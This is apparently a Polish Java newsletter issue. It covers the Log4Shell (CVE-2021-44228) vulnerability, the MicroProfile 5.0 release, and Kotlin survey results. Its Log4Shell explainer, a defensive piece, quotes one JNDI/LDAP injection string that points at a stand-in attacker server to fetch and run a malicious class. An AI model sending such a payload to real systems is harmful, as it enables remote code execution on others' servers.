JVM Tuesday vol. 68 – Log4Shell #ZobaczMemy

1. Log4Shell zatrząsł internetem  💩🌊

To jest ten wyjątkowy tydzień, że niezależnie od języka programowania “Je Suis Java”, a przy okazji największy jeśli chodzi o zasięg exploit od czasu niesławnego Spectre. W Log4J, znanej chyba każdemu, kto wyszedł poza “hello world” bibliotece do logowania w Javie, wykryto exploita – i to exploita o najwyższym możliwym poziomie zagrożenia. 

Zacznijmy może od tego jak rzeczony exploit działa. Log4Shell, bo takie miano mu przyznano, to RCE (Remote Code Execution) – umożliwia ona wykonanie dowolnego kodu po stronie serwerowej. Okazuje się, że Log4J w wyniku interpolacji odpowiedniego formatu Stringu znalezionego w logach automatycznie odpali instrukcje znajdujące się na dowolnym serwerze LDAPowym – jest to protokół przeznaczony do korzystania z usług katalogowych, czyli np. bazy pracowników firmy w ramach mechanizmów autoryzacji. Całość odbywa się poprzez mechanizm JNDI – czyli takiego javowego odpowiednika URL do definiowania zewnętrznych zasobów, jak np. adresy zdalnych procedur. Pewnie kojarzycie je pod skrótem RPC – Remote Procedure Call. Tak więc wystarczyło, żeby linijka  ${jndi:ldap://attackerserver.com:1389/ExploitPayload} (określająca zasób przy pomocy wspomnianego JNDI) zapisała się do logów, a z wcześnie spreparowanego LDAPA pobrana i wykonana będzie klasa ExploitPayload.class, zawierająca dowolny złośliwy kod.

Jak więc widzicie – całość jest wręcz śmiesznie prosta w realizacji, a równocześnie niesamowicie groźna. Oczywiście, powyższe wyjaśnienie nie jest pełną techniczną analizą, takich znajdziecie w świecie już od groma. W waszej podróży przez świat podatności CVE-2021-44228 (bo taką nazwę dostała) poprowadzą Was przewodniki The Story So Far: Log4Shell log4j vulnerability oraz Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228)

Kto oberwał? Każdy, kto posiada w swoich zależnościach dowolnej wersji log4j starszej niż 2.15.0, najprawdopodobniej jest narażony – radzimy prześledzić pełne drzewo zależności (albo użyć narzędzia opisywanego poniżej). Na szczęście od podatności wolny jest (przynajmniej w domyślnej konfiguracji) Spring Boot. Używa on co prawda zależności o nazwie Log4j, ale jest to tylko jego API, a nie cała biblioteka. Nawet nie chcę sobie wyobrażać, co by się działo gdyby trzeba było aktualizować wszystkie springowe aplikacje na całym świecie. 

W internecie nie brakuje głosów, że to jest problem tylko javowców, “bo ja programuje w porządnym języku”. Wbrew opiniom niektórych krytyków, Java jest używana nie tylko przez stare systemy, ale również masę softu używanego na co dzień. Dlatego też np. krytyczne poprawki wypuścił Elastic, Solr, Neo4j, Flink czy też… Minecraft. Ofiarą stał się też np. prowincja Quebec w Kanadzie. Jak więc widać, nikt nie jest bezpieczny. Pełną, stale aktualizowaną listę znajdziecie tutaj. 

Do poradzenia sobie z problemem powstało wiele wyspecjalizowanych narzędzi. Zdecydowanie radzimy prześledzić Wasze repozytoria za pomocą fullhunt/log4j-scan czy działający podobnie jerrinot/log4shell-ldap, które w holistyczny sposób sprawdzają Wasze repozytoria. Moim jednak ulubionym narzędziem jest java agent (program dopinany do maszyny wirtualnej) stworzony przez zespół Corretto, który potrafi poradzić sobie z procesem patchowania bez zatrzymywania aplikacji. Takie rozwiązanie będzie jednak w większości przypadków armatą na muchy, więc polecamy go używać dopiero wtedy jak wiecie, że musicie.

Jak bumerang wraca temat niedoinwestowanych projektów Open Source. Przez sieć wiralem przeszły publikacje takie jak  „Open Source” is Broken” (wraz z odpowiadającym na nie „Open source” is not broken) czy Professional maintainers: a wake-up call, które próbują uzmysłowić tym, którzy jeszcze nie zdają sobie z tego sprawy, jak na kruchych podstawach stoi cały współczesny świat technologii. Trzeba jednak przyznać, że znacznie bardziej obrywa się sposobowi finansowania tego typu projektów, niż samemu modelowi – choć ten też oberwał rykoszetem, jako że nie spełnił pokładanych w nim nadziei. Okazuje się bowiem, że sam fakt dostępu do kodu nie sprawi, że ten automatycznie staje się bezpieczny – ale tą lekcję już chyba przepracowaliśmy przy okazji Heartbleeda – buga, który kiedyś sędzał sen z powiek użytkownikom SSL.

Niejeden z nas nie miał raczej spokojnego weekendu, ale może się okazać, że to dopiero początek zabawy. Powoli dochodzą nas bowiem doniesienia o tym, że atakujący działali na długo przed tym, jak o całej sprawie zrobiło się głośno. Przykładowo, Cloudflare twierdzi, że pierwsze ślady próby ataku udało im się zidentyfikować już w logach pochodzących z pierwszego grudnia. Jeżeli te plotki się potwierdzą, to niejeden system może już teraz kopać krypto lub wkrótce stać się ofiarą uśpionego ransomware. Mamy nadzieje, że czarne wizje się nie spełnią… a w międzyczasie róbcie lepiej na szybko backupy.

Odkryj więcej treści IT dopasowanych do Ciebie

W aplikacji Vived znajdziesz artykuły moderowane przez developerów.
Zainstaluj teraz i czytaj tylko dobre teksty!

2. Wydano MicroProfile 5.0 🚀

Pewnie to nie ostatni raz, kiedy będziemy o exploicie Log4J wspominać, ale mimo swojego zasięgu nie był on jedynym ciekawym wydarzeniem w świecie JVM. MicroProfile, młodszy, bardziej cool brat Jakarty EE właśnie otrzymał w zeszłym tygodniu swoją nową edycję.

Jeżeli spodziewacie się wielkich, rewolucyjnych zmian… to nie tym razem. Celem MicroProfile 5.0 jest bowiem uzyskanie kompatybilności MicroProfile z przestrzenią nazw Jakarta EE. W ramach nowego wydania, pozbyto się resztek pozostałości po klasycznym javax, który (gwoli przypomnienia) jest znakiem handlowym należącym do Oracle.

Tylko tyle i aż tyle, bowiem upgrade do MicroProfile w wersji piątej wcale nie będzie łatwy i przyjemny. Nowe “duże” wersje dostało prawie 20 zależności, a część z nich złamała przy migracji na Jakartę EE kompatybilność. Największe zmiany dotkną chyba użytkowników microprofile-metrics-4.0 (w którym min. przestaje działać pochodząca z CDI anotacja @Metric) i powiązanego z nim microprofile-fault-tolerance (który zmienił całkiem sporo drobiazgów, jak np. urle pod którymi dostępne są metryki). Na szczęście, w większości przypadków zmiany sprowadza się po prostu do upgrade API pochodzących z  Jakarty EE.

No cóż, mały krok dla programistów, duży dla standardu. Ciekawe co, biorąc pod uwagę, że już wszystko zostało posprzątane, przyniesie nam MicroProfile 6.0.

Odkryj więcej treści IT dopasowanych do Ciebie

W aplikacji Vived znajdziesz artykuły moderowane przez developerów.
Zainstaluj teraz i czytaj tylko dobre teksty!

3. Wyniki Kotlin Features Survey 2021 📈

A na koniec – Kotlin. Wiem, w ostatni wtorek cała edycja poświęcona była właśnie temu językowi, ale nic nie poradzę, że JetBrains strzela jak z karabinu. Okazały się bowiem właśnie wyniki sondażu wśród społeczności na temat najbardziej chcianych i najbardziej niechcianych języków, które ukształtują pewnie pracę nad Kotlinem na najbliższe lata

Bardzo cieszę się, że wśród najbardziej oczekiwanych funkcji języka, na pierwszym miejscu znalazł się z dużą przewagą mój faworyt – znane z Javy Multicache i znane z TypeScripta (i oczywiście nie tylko) unie. Oprócz tego, w topce znalazły się też literały dla kolekcji (co, biorąc pod uwagę jak zwięzłe jest listOf czy mapOf, nie uważam za coś krytycznego), a ostatnie miejsce podium to Multiple receivers on extension functions and properties – funkcjonalność przydatna do rozszerzania klas pochodzących z bibliotek zewnętrznych, w czym ułatwienia szuka 30 % osób, 

Ale chyba nawet ciekawsze od tego, co społeczność chce, żeby twórcy Kotlina dodali, jest to czego nie chce widzieć w swoim języku. Wielu programistą Javy z dłuższym stażem (ale takim 15+, nie że Polski Senior 3+) pewnie za zgrzytają zęby widząc, jak umiera nadzieja na package-private. Funkcjonalność ta zajęła drugie miejsce wśród funkcji najbardziej niechcianych, zaraz po operacjach na bitach. Ja osobiście nie czuje większej potrzeby package-private, ale znam sporo ludzi, którym brak takowej bardzo przeszkadza. Co ciekawe, na liście niechcianych funkcjonalności wysoko są również Literały Kolekcji, o których pisaliśmy powyżej przy najbardziej chcianych dodatkach do języka. Widać, że społeczność pod tym względem jest deczko podzielona.

Jeżeli jesteście ciekawi komentarzu nie tylko mojego, ale i architektów Kotlina – całość badania znajdziecie tutaj.

PS: Tak jak dzisiaj spojrzeliśmy na przyszłość Kotlina, tak już za tydzień przyjrzymy się finalnej liście featurów, które trafią JDK 18, która ukazała się w zeszły piątek.